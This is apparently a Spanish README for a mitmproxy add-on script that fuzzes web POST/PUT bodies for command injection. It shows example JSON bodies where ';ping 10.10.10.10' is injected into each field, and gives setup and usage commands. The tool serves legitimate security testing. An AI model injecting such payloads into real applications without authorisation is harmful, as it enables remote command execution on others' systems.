
Script de fuzzing web de inyección de comandos para mitmproxy
Descripción:
Este script realiza fuzzing en busca de vulnerabilidades de inyección de comandos que resultan en ejecución remota de comandos.
Vulnerabilidades similares de OWASP se explican aquí --> https://www.owasp.org/index.php/Command_Injection
El script intentará ejecutar comandos del sistema operativo inyectando en cada valor del cuerpo de un POST/PUT.
Detectar la ejecución requiere otra herramienta, como escuchar tráfico web/icmp o monitorear un directorio en el sistema operativo objetivo, etc.
Por ejemplo, si el script observa que un usuario ha realizado un único POST con el cuerpo establecido como {"webfunction": "settime", "hour": "10", "minute": "00"}
El script generará 5 POSTs
1)El POST original (tal cual)
{"webfunction": "settime", "hour": "10", "minute": "00"}
2)Inyección CI en el 1er valor
{"webfunction": "settime;ping 10.10.10.10", "hour": "10", "minute": "00"}
3)Inyección CI en el 2do valor
{"webfunction": "settime", "hour": "10;ping 10.10.10.10", "minute": "00"}
4)Inyección CI en el 3er valor
{"webfunction": "settime", "hour": "10", "minute": "00;ping 10.10.10.10"}
5)Un POST de limpieza para devolver las variables a su valor original
{"webfunction": "settime", "hour": "10", "minute": "00"}
Si el payload se ejecutara, el atacante recibiría un paquete ICMP ping. En este ejemplo, la aplicación web es vulnerable a la inyección/ejecución de comandos al establecer la hora del sistema.
Requisitos previos:
-mitmproxy 3.0.0+
#Método "Virtualenv" para ejecutar mitmproxy 3.0.0+ (es decir, su distribución no soporta binarios 3.0.0+)
git clone https://github.com/mitmproxy/mitmproxy.git
#Siga la "Configuración de desarrollo" aquí -> https://github.com/mitmproxy/mitmproxy (similar a abajo)
apt-get install python3-venv
cd mitmproxy
./dev.sh #Si falta el error de cabeceras python.h - intente apt-get install python3-dev
#Confirme la versión de mitmproxy 3.0.0+
. venv/bin/activate
(venv) root@kali:/usr/local/src/source-install/mitmproxy3# mitmproxy --version
Mitmproxy version: 3.0.0 (2.0.0dev0920-0x3c934b1a)
Python version: 3.5.4
Instalación:
#Descargar ci_fuzz.py
git clone https://github.com/mvdevnull/ci_fuzz.git
Ejemplos de uso:
*Establezca las variables en la sección de configuración de ci_fuzz.py
1)*Ejecute mitmweb usando el script ci_fuzz.py escuchando en localhost puerto 7777
mitmweb --listen-port 7777 --ssl-insecure -s ./ci_fuzz/ci_fuzz.py
2)*Ejecute mitmweb usando el script ci_fuzz.py igual que arriba y reenvíe upstream a un proxy GUI como Burp en localhost
mitmweb --listen-port 7777 --ssl-insecure --mode upstream:https://127.0.0.1:8080 -s ./ci_fuzz/ci_fuzz.py